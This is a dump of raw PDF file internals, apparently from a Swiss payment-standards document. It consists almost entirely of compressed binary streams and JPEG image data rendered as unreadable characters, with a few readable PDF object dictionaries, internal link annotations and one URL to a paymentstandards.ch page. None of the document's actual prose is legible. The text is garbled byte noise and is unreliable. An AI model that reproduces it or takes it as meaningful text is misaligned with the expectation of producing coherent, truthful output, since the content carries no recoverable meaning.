պaiL4;>޷z{g̸o|߫;k-fݕ?י<";MȾ-5wNrյ?5\x]O/yIW}ֻW=?瞞,9 ^}uW_wݫNݻwwJ>-礚?=rp&;»ioiRqg *t۾UxT2۾xˆ㿽=??"[_=-s+>ījz{wi7< +}e|oWTd*>  T!S¢L6wГ?w';:,w ^l?S3=Zp鹲kiU1kCw޳; *^P\&S9{YŠ7*/;Eί +xmKW8IZWǂes|;UX̶שEVVT(hmu̡O+m ;{ U8蓿~caU朗Uao~Dz}?zmUس_:s  99kk U^guM-{{Mk6l vc]CӖ~{pttZNpק +@cRKKs=W!Gg_׹VT!@B4S@ɓ'?CXT! +` T!L$*mٲeϞ=XT!@B4Si +`&MZxq Us)@B *HUS +`[nmmm-Ģ +L*H3U8qEJ=B ;H@T!@B *HU{gJ=B4Si +Lʅ z +bQ@0w$*BP@0U}RO@, T!@B4S@/,Ģ +` HUS +` T!lǎ?| Uf T!@B ؄ ,XP)EA + +@T!@B Ν;;::J=B4Si +L.z +bQ@0w$*BP@0U{RO@, T!@B4S@yz +bQ@0w$*BP@0UgϞRO@, T!@B4S@ϝ;S* T!L$*BP@^xS*H3Uf T!K/.Ģ +` HUS +` T!S*H3Uf T!lܸq<@ Us)@B *HUS +`===XT!@B4Si +`cǎ3gN Us)@B *HUS +`]]]|S*H3Uf T!/K=B ;H@T!@B *HU~K=B4Si +Lƌ3{RO@,RP@0U +@|G .Uf T!@B E]4k֬RO@,RP@0U]ׯ/Vammm'BXreT|*p*ܸqc +V^bŊe˖=K.]&颲.⋺XQ ]O<ĺu}5kD myGj8Ee]TyQEu_TQp͛6mjnn~T> +stream +xr7*.[Lh \8q*r֪݃MlCl709) Cr n:=_m<~zLgoo'WE9Ofy|:>Jif$%(*8%$?!ыW*sr9P}.#Wk\'S=}w|~D_G„?}YJ̢j1{Hbt:Qy2V|frh ]8k iʃ~зl Ii c Y]::&ZN2MMG-2d帢G? S\8:8qdtytZPtL]N`jO\EaD\(Ez+MU5K^sha[[V8agp*Cb3У2XJMO40 'pjn~N +ȷo.iyXn6EZ.7uIܾ/W΂GA&24`gʬXu9}?yl:1xu hy`04],:; {Jvy;ةzbԪ*TdCG[1FSh1Q0nMR)OY?O֌Ѽ_d;‘nEw}hr1>^^)ʂ)'` 5*Lxya9j%w7zs%IOWdq5>yW)j10{P|N1'i*Xi1gm_]9̠^ +yۡs7ߖomUCZ +/*E^LǪwt՞g(s(!=;y3̻&OPf2mh?9}[WHTR&PBDDo +23"调-{.,MԔz>c- 8p!Qu +$qY{>Gľ2~vo0 +,A?,-} /^ ajP 0<,V̨q'h |<@| T*[ +2yzALQW5ߨv(.p'"J0aޮW_"2b&SJ_u wѱi>leĴ^m4Ŧ68a㊴w+n;fL ^ ;CY|N*VO2mDdUXW[;xuL?ϒjx' g,z+ cT*hKm٢Msx`{; jȰ_]ҵa>SsMZt72"D _*>-# 8Br址' `]NkgIPjtK g|V8wx s~/\h֢Ygs6)MѮT3b1ʰ*)@ g|PS xGUؤx^L`brm7|3ama<9sdqcնߘo۩1&Ɛɭ_ǟP9L')- n[=l扖qmUywT&ۮ$oCIK8}oWWPa(/խ|H⒋o-Z#>W烗rR@۪&[jFk P5s+cV/C$M;;蠥[% 2NC s$:z l/e!xE^20^ k kDgkkK&ᄍ jmc X$ar#Ybӧa0[agrf/a~y.#:rc_G,_;s_֎}Ni~8;cl] +f'Ws<|)gƯ|Vnޗ,l]YuđdH5^ܥWsvzr\Ź W$ZtYPMI Đ1yikoٷ21MlV_vxHTn}A5e!5>4CEu {S=JY[?l'vXV>6ڦ*ꊽ7.]|}tl&ElwsWꡐ0wcHŴf56;PW8 +`28{դrR]7gtuuWS̙tN 7]l(7k4ʹk>aq99h'.6R4*s:Sߪ >UדY00]2 Z(k)33qE.SfhNA92OzTCR&úz@P3i.^&U%Z5< /\wM4/8;SǐlG|e]N/~L&6q94g+dO`]ڗU25&4ј>hvq7֩R,f\,#:=AŠb;,u`'lf՞[43Y ACVVsX(־nl:c +endstream +endobj +332 0 obj +<< +/Length 11431 +/BitsPerComponent 8 +/ColorSpace /DeviceRGB +/Filter /DCTDecode +/Height 218 +/Interpolate true +/Subtype /Image +/Type /XObject +/Width 739 +>> +stream +JFIFC  +   $.' ",#(7),01444'9=82<.342C  2!!22222222222222222222222222222222222222222222222222" + }!1AQa"q2#BR$3br +%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz + w!1AQaq"2B #3Rbr +$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?( +( +( +( +( +( +( +( +( +( +( +( +( +( +( +( +( +( +( +( +( +( +( +( +( +( +(.ku*5jvf +EgSp.O@D_>ke*uҢ'sT/Ԛcj +MٿBv$3'܀/U{vVVs?7_GGUj(GQu=Zu=h]_tV,h]_t_U ?_GGUj(GQu=Zu=h]_tV,h]_t_U ?_GGUj(GQu=Zu=h]_tV,h]_t_U ?_GGUj(v7nXhǜ_@EQEQEQEQEQEQEQEQEQEQEQEQEAsuXQހ$D n$`Gz8&q,´jhJ +=d|OtP|O=dGEI=d|OtP|O=dGEI=d|OtP|O=dGEI=d|OtP|O=dGEI=d|OtP|O=dGEI=d|OtP|O=dGEY噜dgM^]*>#U4ڠ +[/5*Ÿv$KE t(((+?κo((((((((((((߲8ݢ/(z( +( +( +( +( +( +( +( +( +( +( +) + 'u&Pq[|:k?΀"(((((((((((((~<v,/h 袊((((((((()̐WWl?3*VݿtH^@ δ! M0;ZxT*-QEkFoqMeQEQEQEQEQEQEQEQEQEQEQEQEsL魪?kj +( +( +( +( +( +o󮆹*( +( +( +( +( +( +( +( +( +( +( +( +(7/h<v(((((((()M-Qy6|޹ڮ[ZGl/,zmlv79!qWh +( +( +տ5Yڷ2(((>5ՙI+HDnH HaYGSvVtzqxv=V8n&`8.N+RӮ,tM:_f4ٛ'=qG[{ECh e]Ȓܪ+Vlr@3RsUWRkhuJ9]Jmw<)Tu$*q{m }ŒUR@O4jugbwp[+M @:$ExYd2@((([UtQEQEQEQEQE\] s?7TQEQEQEQEQEQEQEQEQEQEQEQEQEoǜ_Ey=Q@Q@Q@Q@Q@Q@Q@U[ԷW,nsTOB֟u$Z 0GBp>(((([\SZ5h*((( kgn~m,q+ܚsO[?!u&5(%\p(]o@A1< s 6L1lL|ܓЎ՟oik9uH9䞞{V?)b\̋:{qƹϋQ6蠙MjIPᐕq+_fd]Nл{s¨xG#\Mdk-:sC}Zba.dSxAT٭ƥ5[2f2ݻwn{tiǁM>5Ѩ0n;HD6~^V̏_ƷG %̍$LK1;IQUZ9K4WbZ@J`=)>a*jfX;19q޺{? +w츊82(qZndp -kQנ3%Q +Nz֯$ &Ѣw6z~l؇GHka[.IY,#Hj?hf⛋sW݋0yEQEQE\?kjtڠ(((((롮z>|:((((((((((((( /(8ݢ3[\V +Fz㢢?΢ _7_hOtUZ(E7_Vu=?GEU-hOtQu=?Uh _7_hOtUZ(E7_Vu 1㢯Y*<3ڱhʀ$((((([\SZ5h*(((QEQEQEQEQEQEQEW1W:tM!6I[pAe#Mao+ĬI'([UtQEQEQEQEQE\] s?7TQEQEQEQER]@7mka`:dZtbIxPѺ`{ֆjP:=o%FsJ̓x5I9'`|8^}Fc1S:_Ѷ6ٗnG:>-gIsK NߍlWxK;ymgV_{j滮XwHR% C>eQܚ|XچEԗA}/j5ΗyL5PNsڻMKPӛN|iD0H0sןj/xSÖt~KrIw1n8]Mk$A!Q ꦀ7(((((߲8ݢ/(>|:?΢((((((+=p*(((((oqMhv? ( + 7J?5۽rY.͕Li'[I~Z[*FԮMQy'ot6u(, VV2Dd +\n8+នhԷz+,3`;V<NY^ip(@ k#L[zխ#eq(5 xM.^{ZEU;X_jCo i:lj../XfeS88'ִ?J^ Pn.d?e;Sko6>n ȥYNO j֗˝5 ]>]27Ve ~U?ÒFH횹⥴m|>d{;_-x.k0m%bYnzgگxó³Z2gк~ƗO]6Oz_d$$wj,g0Oz;wme4$ lcڮA(H/ǩK[ :&ctt-AG !#8e{ <q{iYL~qYik.4Y┧p\@䓌gHOT492__Ooq$x4ٵ+#&{oa=B1[ Ҫ0ʿł9r]CGߊt ugwdҳK}Wuėſ?x1su27Džb9ۂ8.gWz>?AUA׫-~} 0r)vzmK|<[Y=[^bp֬xCw}Bap`}Pr@=3Lծ"izui%>V(]a4P79?2-略ӵHͤ~c$N @9ᰅM8i>1Կ;SSԭέzfn)vtPEPEPEPEPEPyYǜ_@?7U-}MuQEQEQEQEQEQE[Ǵ_\tVPQEQEQY#Zݻ i$0RE&]8:P[cN+_i㕊%|9ǗWQJaaUU(1 +տ5Yڷ2(((m-B_^REc H^ec@EPEP\o!wvC n\g#+ +*κ|ExP/*@ݲ=+;[7ԠceRR94ExucYkk2q+>1*぀qҀ7Ox +rӲ +L©%խ'|7u}},"WHbc!s\+Ֆɯܩ5})8'8=3Z^ZCs d#PRnlnaqF+yo9'%O~wz{KAhYlYۢm\=ej4 nKMA廎ylE9AnhP/Mkn2B2G֫|@1 V@"@I;j3*#;$¸(uj5.DN'FQH]&{krǐe.t< +[C06ԌOhv[rd28FÂԮ ?'ŬHQ}7uUEP]{EUEo?IEPj,56gvV =*.?OWxF}WЍfW,edڹueN2pե_l ?TuV}4ms]^WECVj͛C2IN0y-iڍޓ}E}Zxb~ ?|VFIfxU>*242zy>[?~G4W5A,wx'>Z!58GcE +zUi [\SZ5jL}xv Q4 Is|1Dk;F$Pll{k O)냓GP1 BnxH%Xolz7AfOzsY{m( +9,v=3Uu7nisy$82OV%w9ZZ ̱9-.8Sx=M5 oi^^Vfdq\yreI6{& K-$^g) O#}ձ} 71mD.?ƕ_ /?wR]7[*r#it>*]LYBJ dk3MyoxQ+t +CJ_JC*_+;Ii2m\/Oli6FD)hOqWDv\ƥ3_NdĿ3O~xU,Ŧ# ,0IH`OJ E<{_O[5+\O-@)` ?Z}sL魪?kjU=WSѴ a+)6*vkŖ({g/|U&;d$A< ^R3LvHxAIku_,v?KȲ(ckQKϻ;|@zLrIpe :{WO VpUySd EWV/'bg@i +?t?¼vc>5{MA#1K BrW=ax3DV{Pm6~iiל#m~!\}Mu=sSQQ@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@_QeqEbQT?7TQEWHmYqk)D1[$jH8 +(vXXg4Q@?<Nby6kv7dA]utSUMSH.ax=m<'Ax 5k0G[;t@R+h;ޕ{c-y%䐷X}>uEQE[Ǵ_\tVPQE|?_B5_HO ]\Iq6+v.=j?W4?y2Tm\[8Z%Ϝ^So5_xjնsk#`֦X +^ޟa*MABZt3{¾V-Hyc +<+[b0g1Ot]@#$IOsSº[gp1T7 t[-L 'SN{=hQE{)$'9T +տ5YڷUQ@Q@Q@Q@Q@Q@Q@Q@Q@Q@Z(( g~MmV.[TS%9xExeaAiP TxW&+Zj3~e 5ts?eȗע*ݨm- 1HASWh|"VS[6¹롮z>|:*( +( +( +( +( +( +( +( +( +( +( +( +(7/h<vŹ?΢no((((((=p*khʀ$((Zy;j_rQAdtC,mqmQE(EYU:sP)Q@s?7C\}MtQ@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@Q@_QeqEbQT?7TQEQEQEQEQEQEWEo?s[Ǵ_@QEQEQEQEQEVv?տ4EPEPEPEPEPEPEPEPEPEPEPEP3?L魪(((((+?κo((((((((((((߲8ݢ/(>|:_q{/֫EPEPEPEPEPEP[0[,(5EnhZ_t?XTPOQk=EnhZ_t?XTPOQk=EnhZ_t?XTPOU-F)o(((((((((((( 627!l.8O _*(wBz(е +¢7-: _*(wBz(е +¢7-: _*(wBz(е +¢7-:±`2bA((((((((((((( /) xE +endstream +endobj +333 0 obj +<< +/BS << +/W 0 +>> +/Dest [23 0 R /XYZ 82 283 0] +/F 4 +/Rect [428.55 641.89 454.44 654.89] +/StructParent 219 +/Subtype /Link +>> +endobj +334 0 obj +<< +/BS << +/W 0 +>> +/Dest [23 0 R /XYZ 82 283 0] +/F 4 +/Rect [457.24 641.89 555.05 654.89] +/StructParent 220 +/Subtype /Link +>> +endobj +335 0 obj +<< +/BS << +/W 0 +>> +/Dest [23 0 R /XYZ 82 283 0] +/F 4 +/Rect [82.85 622.89 195.35 641.89] +/StructParent 221 +/Subtype /Link +>> +endobj +336 0 obj +<< +/A << +/S /URI +/Type /Action +/URI (https://www.paymentstandards.ch/fr/shared/communication-grid.html) +>> +/BS << +/W 0 +>> +/F 4 +/Rect [209.39 510.14 498.69 523.14] +/StructParent 222 +/Subtype /Link +>> +endobj +337 0 obj +<< +/Length 2443 +/Filter /FlateDecode +>> +stream +x[r6߁w;DId58MfݙMzHKTDNi/zb9$–mлA;D/Wb4^{/^ ^ףt}g_-Yl18|YOdWOG $xJ+ +/[M8>zu~|4x=d_$^hƅw>Yo"oތtqS>>p|t0̵(af,NY`hEoO~_`L+$vՅ1 ";`B΃2sNYqmrnV~‚|Eڧ +x1ڋ&d>z &5yOnRX(~hV>zx=:cIDz -P϶,mN($OіkTӶ&8šM:|/.9776>1:6>A_W[K廖^Ia[d=.F`5n;\!V΍P)Ab$dQ,d0!:ł^|Ow'_eu67Yvڮ>Q:"Fl}L8ykk"OrXv0daJBD0,I ~wdD?!,*ƂlfS% +~# +s@3i܅"aa{i e&<`7㤣VΝFHι\!iA&F4/BH5A1- j%4ko۩3 \ͨ1('dΉztO~[@pqLH̩nvRHLkƽEw3`g+njKa7-q(h~Ip.ެ1Ml +Ai\uz:fZ57yܛ/QU 8ȬŠfurؐ8B$!_I]5mŗQBlbo +tz{8uev-)?%[=>G𡇋aOD?s~MæPd:j>%dכ 2Yeh>2uI¤v밪 F>}d=Ռ};Ee; vŖPNfyӌ3ZD9z$^lihf9U-߸-%- ]Dv't ]jiQN ٪ +|C{M[u +>Hw"7|F &~!2MR+$l|i> W ]k  3DM!gyb~6UGl +աCڿBԕ42\o,E&0yҬ[Q! "R<ݓn +H`;EJÓ}0]x;L +[ȝ#t1^H:d支 o-IsuӕϤkPK(SOUv½arU50 '#&y;T;HeW#U" OMc\Ľ8}1_Czu]C +@Wꓲ>_<1[7z7r@nVU* P+ +3He"9sVbY>ҬX^2*Y5kl F]SuL ͢^7+0x-\] B4֦td@=KfnOu4F*15w_?\Xd9$t۳-aέA1&efҚv sկʣ\J1YVEN_LqMVj㎧UnNnWLG~3?Ҷ;k‹3-=#}PY~J%>N}X7񎺜smp|5+}$܀Vٲ<v'+ 4类>MΌw 0h5ڝ8x1}R_Ǟ:l$̯]5t-v_9 Pxzʴ9Hb82:PN:j!985W䌑4 7 "$\͢Ȫ0,g<7 KJVCH ClaO/QT\> +/Dest [31 0 R /XYZ 82 691 0] +/F 4 +/Rect [315.94 465.01 333.85 481.01] +/StructParent 224 +/Subtype /Link +>> +endobj +339 0 obj +<< +/BS << +/W 0 +>> +/Dest [31 0 R /XYZ 82 691 0] +/F 4 +/Rect [336.65 465.01 453.86 481.01] +/StructParent 225 +/Subtype /Link +>> +endobj +340 0 obj +<< +/Length 3328 +/Filter /FlateDecode +>> +stream +xKr8v*߁Z09rt'Jҝ5peьE)IΔ#2 @ 8 z-xUΦqhnr-o>-'fŨ-E NFQI~/B2(9E1 ( V{~A,8(&%$`Y0 |ؓ4Z+qWWOA68}WX'|`4Bi*PV=x :I892(L%ܜu/ 'Ofv9tGWc6z >3Ę QB"H `$Ulw4 ]K ণ0K` +~Og1GocTBP;gY6(.p g!w=4_ׁ< &3EU`XCbOQ8}ne5^c8 D1tX~}q8EY.nbQz41}T͞i&(OP﬛2vhM8$ e lg̱Otgbə$gFN 28'a)CAK"(u@3߲Hht}G^MlD{y^ȚbY!,CL'wM68mbD Ē#(r&l^>hLCl>`<^ +t9*'Qq n<s5ڡEz?Gpw?-0a9FIb~IY%09g#GC?1L^$>U 8c>* ]] #l{cLx;O v ; Ҧ%'Eb"4gӾ[I<č.9++--aU#WT`3閌L]zO<ʥζ|OfЏu* QyH**<| 3yY˰:buTE"erY93t\a"Za񅉝*3S~I}d6>ݤΌX +B*)R~k|#6?CNxW1&0[. kڄofܜJ40s[#} +7 76#KRpȏԘe_*jĦ$=@J$h7!A:4z"e|? +zAꦴ5d:QPbQmu겙dJBSf{2o+%~ Xl'C_R dM(C)Y5粭ta1zn}Vkp|իŕN-,y֢6I!ӯ--=:*jB")KHQC7jGx}Z@he$LV/NRh7J`7 u&1G?nۡC,updZw5_1M5li4䣩e;=A'+d 9QTU]BL";$F4}Xͬ&M69[&(fj!F;hjwR{àA/r|l^])ݴ` @9 >q]*Ok: +nS,%4EZsa֞6kG(΋ֶli+[o7uT̓ruq9Cvl5& +]o?߅II}`vUhq5[#.cʁ5[IZta^0^;XUfJthdD ++3bV9t 2l֦P3dJx44b߅%OVb<WGZ!ir>ii$c"&w-L/]ִŘOK5I,NqE3U;v":?T#0} +-e=۫BBOr=_rdB&EhT*OEԵ[[* 6ߒ)ijny+bJb;bv%  E@" pw8s,DTede>Z\j}=Y~{jVH(FNRejZqXM;Ef6ՄcX[ ~1 8\|;>n =c`؟c`UcT٨o +f֟ +{nf$2 +f3a4s#Y !(uU3E,tJvLU y\kQV޵ιr|ԃZ+-We؟ֲk3U![|$Eݪ#~q!rk!da.NH]cվ%]W+Չ4ݶtj={t ^8!Tm ƮXm6?RNRn|ʷ}luʉ>?YiNlÜ+[Z2ȳ̚Gɿ bg//$ )J1[,I^>m}QՔkKc^<.ݷ,rl@ ,@^nORz yo߄?ȦkumUf[n2ތ%J }.= l7܊{+O u's)<8`c[-j)@M9 ԉW c[57Cs\4Qiq }̧yn1:yD]M48J-#pg{ AW*_#ݻe=*=RT2O=)hX}x1 MO~Hǿ*3\Z:u[2ZFrF%[;|عElA:5_m)$}Z,!.C]hV>+%ڍT)e)Y@"fދR p™ obϩ/"m{K}9ur7ϥ7OĢz +xWY3=ow|uqfQX2bLawc_3P[2H9R!> +/Dest [15 0 R /XYZ 91 102 0] +/F 4 +/Rect [221.7 460.17 237.89 479.17] +/StructParent 227 +/Subtype /Link +>> +endobj +342 0 obj +<< +/Length 3784 +/Filter /FlateDecode +>> +stream +xr*nZ R,VI%%%ه$7>E&&x}=LrIV.0@{r=ɳz4ͯ'O'Z'ߍn&z2|XåoU<; 8>Q T D&"F(2?>`v|%  GY ,"4Q%J8oYA\~{|zG{ÿX')8)"8!>P VnM/&"B-b.NdZm!&ftI@'jT=-("<.00G5y4BPFk8QwCqA(frxn*$DqwDU mYR E2̮GkX~ޥ$н3+OkR% F,2D8+||<8qXz>uڣ)֞cmzDQfhSJG…ڠ(NNc3$J{XG,B ݔ&HM7: P&5iF(fƳ8"v(ՆƷ"T= ܞ;{`v}̓kc8+ɲ&c5eړ;ϖe @l.ɔg{{`&k5eyxD<#ղi$U?䌩"c 9|_5ðD!xYq/?1;{W?B!=2,URɳavZ#:L1Q"La\v%M_N'vic."vN33 G;wy-R0p;IƢE^^ +jEKʻrRGLq0'L˻ث2d@6%2bD[-Adr/'DٷxZ%&{EbJ`b 8nY~19&o;TAIB; _W0-ơ +.q,LJ_CU Ç|1$I 7 4׵%,!weok$B\*/!(o5D `+ +XA\O}1oo_560E謬~,j#k//8tx@_`[ cy'  b.'0t~h\OPA vdR[}:Z,CWyX_9r6A̿rUv?c.aeDk]VIͱcٗz#rCJtE.Z~dr;`r;N o{m?/jw`A|W :`[NHiD{:Yl/$;kXd[ +itx*ɠ@֕…TCnϱWa܍*Dڿŧ/inmgӦ祳=0 EY[Hts/\CՍdI*> pRXAb$売i/51ZՓ G!aフ 1dSGyH`شfxbhuݢWه+a-~_)ʳ> jNp0 7[[J 43~jRVkD? ]e P-xR>S +pG Q7ۓ",ݼU()SN1o1&#tʤn~lPtô NϐiE5,^.R_hg ]jԏ˰;|:)DKdfjoƔON\HWm,ұWr♔ +ʡ>_1SkDT個MkxM멱_]uJ^ED&| dL]Kj6sV=Qhz/x? Jy$΅rp9E (O#N]~~V)rWts I,7z]J ?~)ta쩆O{ƙ | 2%Np?Av/- +6D$ 1*Icد:$+͡קNh?rs+OBm^%򕔍*P+ŋۏڟnBY8[CX2*|ӧ4Eu7ÉLCKmXcnۋ.UO[beAml&k- :|R?x9Iw# VOV:0 +:ZUhk[e \q3 =2t5Ki;v2}QEo1nmLJw!.-D +pUBd;]<JU2_/5`S&l,B}wDGRS)6pQ)RRvs:)Cކ*P(~%> +;PĐ9Z'6pBD{B;S]jKχ (]~%]#骈0Tl3kxXY 1Kma|"v VzP3@*:{83=QT+:rl"ٶd' Q xjhSrv'ڛ>dԺ#vF__I*QYE}"pӕժi'$ȉֈ͎!I?7o&0yvCAA=S)XmeM‘g=MdžBr k>v!! .س.]bbvIFS&x/(}G4}z㕬UҔw5 #;HY]VRWUݓHEe:ptq& c%} 7(I;h[ϴ[{W?M3AOϵqb^xqiU]мl.ns-4 'd?Ef9Zdhdzq};DBuGzЭz .Q651h70ܺG"D5sVv`jJoW(whL#:ZUƁmSaZ5t`yfVzwW!nh.owlU8 zem~\pWakжwi鰄.:4 6m7h^ 6%wd^m>MBÃZ}Syw]Yor_䟞Մ" }( ܝ+%ZfvZlݠ9(6Vԕh┐taDܷaKګdѝ]eS-va`kMڲ1`_V17bwIj ڻGMl:^|lh~>OjqӭEQ!]3a'o2{eb?Ī(]hK!#p^!|%*->y4YT1kUG_s0VC&Zj^V}%-Nv*O\c F?B in@[yKɻR$WN iXF}5@8p롷5Ec]~3f2zL?V+"ꉚ eѸ =%S|=fW4:r.> +endstream +endobj +343 0 obj +<< +/BS << +/W 0 +>> +/Dest [15 0 R /XYZ 91 185 0] +/F 4 +/Rect [416.9 659.1 433.08 678.1] +/StructParent 229 +/Subtype /Link +>> +endobj +344 0 obj +<< +/Length 3060 +/Filter /FlateDecode +>> +stream +xnHn[٨~ +8Ea[%Œɏy?en"%Q$vȮw7gtLދzr2\,.-|-ϛk|tr=}W/' 8x:L +/V{7o~zr~yz2^T]ޜ pq 8a\xsݮwKO}zsze߼˿OO:3 Y ( Xġe??T;_Pg8a4jƗ3]|]O'V> Ƒ +EW{J½I̢ȵ}$'D",6(TTqzgCL:W=읜[ONȡN^QG7s;H2t*˜ "w;H1\ddN}e,w4𰯄X4 ~u(dZ>5?R8#-}F4@[4QSL;tE 1}y Ɵ֐YeK"P #~]2DyIuw `QFsoJh{{?Pz^ʛ7̑/߾ѻ< _k UG*_w<1[#zr<*[HBx ZX:VRU&đEĢ-Ǫ,Pj $!•G$;IwF(t1-HB W&},<&WyR9Xr7?TڷG!jEk|ETyޕhRSD*·-2c١ &,ظ"~6|#!g>-cHvL}NOs (n:z;:x^1 1Z1  zBƌ-Gk„h˾Hq\Du4 Dԟ:6Fx~ݐ3i趚IKRz^n55:Kw.-u[UϾ6X&1 6FѺ1WkC9?%NrڥGdb|>RF$X5}άA,ao=;O 9e +2 &_4{q7HdEv.vC,;M.:y̧C#m=ۍZ?.y"Pl!BZfI)}d0dQ40ѱd1@< ,vݨ$'I@bXEVqD**b&ڥ*rwb% SZI0b j718T(PWK9 ٖ{m%aCw&Ƀr=M Kdm@P:ɱsW%o fYԛevN͕)&*ȬN Q+' Sx*4.޺R?றIZg2IpFY-7jF,+#gV'1>Z )]v]p%t j1 1&StWbcIfwn+ԕr |SN2rMegJNnW 6* u3 (1I&WpmBr5:juM5ݮi/25 ԐEBkWkQkr{}ɝWVYDS"fH]NZ]Uw$6kR4y%$H9fv==)ގb_-OUZ~s*$ +UI1+j4%+S>ßyX:m)c^lJ`SA҇n'-7RAYߨLdoPb IpL.`Hw"/7rŐ.JF҃ juy5yܗ F!]ȭSlAC:|PFȾwPEp]pFfu"_=u]I}?bxXSOPW Y}mmHйQ1[U j]֞ĠAVe "'W U˪stY1.kY[-otմ]pU$dqy.!5~aWrly6DaQ6t߭_j W Y}YeTm(w>rBKXqd `bR`pV,3nPAdQēΫPa1 +dC.[J-l! y&*,*)%U5Ms%t(!ݮP/ Ԙ(]MP\`UO]֑>".+-,ɰթ0~tOd'k_Oq8ݩ.~w +endstream +endobj +345 0 obj +<< +/Length 579 +/BitsPerComponent 8 +/ColorSpace /DeviceRGB +/Filter /FlateDecode +/Height 29 +/Interpolate false +/Subtype /Image +/Type /XObject +/Width 94 +>> +stream +xYJA/HA[-JK>zB;,DB!H$A;`$wvfg7υ=βv۩W^7ִCIo1Lq@"Ё'mkQd W%\HAU$x +ݝM+]$g/OϙrsE  ъEę! iT7A;|1(;$lMGɰՙrj (C,MX0yq@J@.}KϗgZ'{PV@*rp~Ĉm6k+"L%5kּs%uT[hL.v@)gri6 8$l9"ewFMH\tWA*/.+X[AEj;tF~ HJtƕxl݁k*tF_X@dЕ*F +ff*@֔+}5kⶸ8%պtU4tl9-XEʚG Sw#S.L,M'q*O$.Mۅĭ +endstream +endobj +346 0 obj +<< +/Length 92886 +/BitsPerComponent 8 +/ColorSpace /DeviceRGB +/Filter /FlateDecode +/Height 614 +/Interpolate false +/Subtype /Image +/Type /XObject +/Width 1203 +>> +stream +xw@G+UPPT]4`Głرb={oAEaFP+xUP?0RB n国8`" ݙgߛ7o^~ŋϞ={ѽ{R;n߾M}H`!|K7!|7N4J.L4G-[ 9oY1|feeŲl!Y1ܱcG׮]鿦>?<::0Sś\C :DBr'%%Q]OO T744?Ë&Mb +dɒTnzhnnNu4>>TwrrASTܹ3Ϝ9C]RɓTGzϞ=~aӇz~o>8{!CNuWWWر#G-[>foܸǏu>qD^'O6m՗.]J3gR}ѢET3gϟO_sΥ… >k,/YӧO'J^/_N)SV/BkR}„ T߰aǎK͛7S}ԨQT߾};ՇNCݻ>h ݻ޷o_:t +Pȑ#Twqq'ޭ[7>}]tsޡC_xm۶7~lْׯ_zͩ~-7i҄wޥzF~}:>z:uRߟ5k֤:K^zu|UTzPPINoRT';w¨^tiw K*E(P˨nddDxw"NޡTN޹T'bTRL&zrr2 +ՅfRؘ¯tǏTKXXXPT/_x` _Æ }ri R-|w={411y 'M?/^\lفVX҉7.3{9 =K)4_MBAc...Jf3ի%JCCC-,,|||dZ@n01"(0 /_ Nbs889R05$SLj{յ%/3crIl2_{{UҐ-[ܺuk~Wmk`%+7{< K̯%xAʗ6'VhjA[SU*ED:hT)Sr_L$!<<<((ӧOǎoJ.E˗/DJETQ؎qǝ2R:w"t|$cٔї2R26'{F)='tuIZo^⫳\ׯXRO0?o.l #661ܶm[Gp.OW"󆏛`ׂ@TAɦf`?ޭSR՘ҵHi,xjһ+&tjn@b*L۴7`}8e襅,HG|[†^0k*f${ :Fm.HȁJK~lnmKI%z6γNs=ɁT73ݒ~9rmA $E4kir%sU%AjcӝxejJsZN)t3Ydq  b +d^޽DX5WQs}-x(fǎi-GVQBFfC<ٺv`JZBMyEfʖqɾS.tཛYTV@UeaԸg:.Y}W *kQ-67iJ]EwU;61:$TL9JHff{.-Nj}]]b ț, =k*~7RnN1TUu9#0u^- a[t%o{@StÔ^ÞۗoWa'_K>OK-]jVc#vu-ްܐuGjEe ~[GCnh3QZSJGR#L]+!;@F{'jmrYR[76Onϣ|^E*Ņc +P}}}d/5j 888|)_Odm{]rزS_V{/J(Rl8vs;Cʹ;Uʆ›Y[#YlqFVTy9ƨک"+ 6͚6m5XOc޴:Ҟ\W{zҐxe|)%]__ެsBt%ꨏz[@H_܄4Fs5LznB]}n'^Ksvrt2tf`u_m gL۰hءDZlӋ\ke5AN\4NN]9 f_Z7}`wmFM: Ϧ)ulөUg_iV-HPC[5v8{9#1u Zul3tplG5UYӧ\u /UAgA:ֶI $V]jb voک)[Lo'Qda0PWQcݼkhu.IH#F$ґךu?w!)cdl25ZCg4&6x5t-VZ{b曇a6CfsnPLJ]Lq qvv&O` +]Ɨ={y/TrFbdk=SP bagޝ}6tc~l@eHx_ɝ%h#^>{ϥ +ݖ rJeoD1g?P_IR;D/dw[@^P>_HMp,&!Wz|{,c]Rv\K0R#c)BέȫZ>VM`?JA%v딲)|ϐ(D*5輓6 woα3Nա[ʺeYTÈL(ɓ'+'?q/|o^8q`ƕL"#Rk6ϴ#W) `1>4$T6kjRͭ +vqu- /$}=m%< {ՊxFsp`_n!!icR~)S{ A2n2vLʛ.$|.)cg")q)K-xDJ~<Л~i8쿤>#w$N"e,*_Vcd?xnd[i5e:~miVt O|ʫ)7#^Pe}qFxױȆC0)Z[;.#)>>rUW1d ;{FP)S-Rfe`eZw"d'^|L8TX{OZ\cStFdB(<3"N8tiiJ;dL{xF+(I"jQPPʹMY!1RM|bcy8c}t9?>fe+W-a&&@h /dw[@^޽Z$]&jh '[:qC֪'x5;lS]z UA'3 7=21L<337yjq͢ o_tiqS j3 +k[hq[Hi.>5s>ܩrɭϝ=}h Yy'cn[kc1*#Fjd6ls[~Q7MNO #&"AHb6`mUۉ+>ѥm^Yy .ȄPxR__?44۫W////ǦMtTKD)o\?ݨLGwgCA)SP !zJ]_ +d1 50 +(|%*1_c>&V51$`٘vগ>yNq3I=W Yj'88RG/{>dțx` ~c`xx,O2 1Jϋ]ƳJFzw&yݹTE9PFbիЭ gsP6` E.^nHlf@(Ɛ[oTU~?y 5oOc|*mEr\LBZe|s5tJ㵽ZtlqJQ F}/G;ziCR6lRB>7THCq z*y WXK!˲vvv&&&s+6# +ެkvT15CЁf*16 o=5<ݞDmGf[ytS[TM655J0rhLe%[c(.1EjEs]FGb@PgC=ۄ=31sHsN˰S I<{Duׇa!HgCcwE 張̔7$o80-w{'ݔyՏ`a0J^xoSFRWti8>2CSs4`H5s8VWC@ASda*vo9]3|kJM~qyVKbԕrF(Qztd?n2HSf%/s'\Ȉe:ҝ6`I+~YI^US-+z _q?FOA +#65k$6CmmmO|MuU1Um91EL@g]cA+(V2]U|ʶ)ý'[IڏT;c]ri+73ɱu4;l%kOG*\CQj- 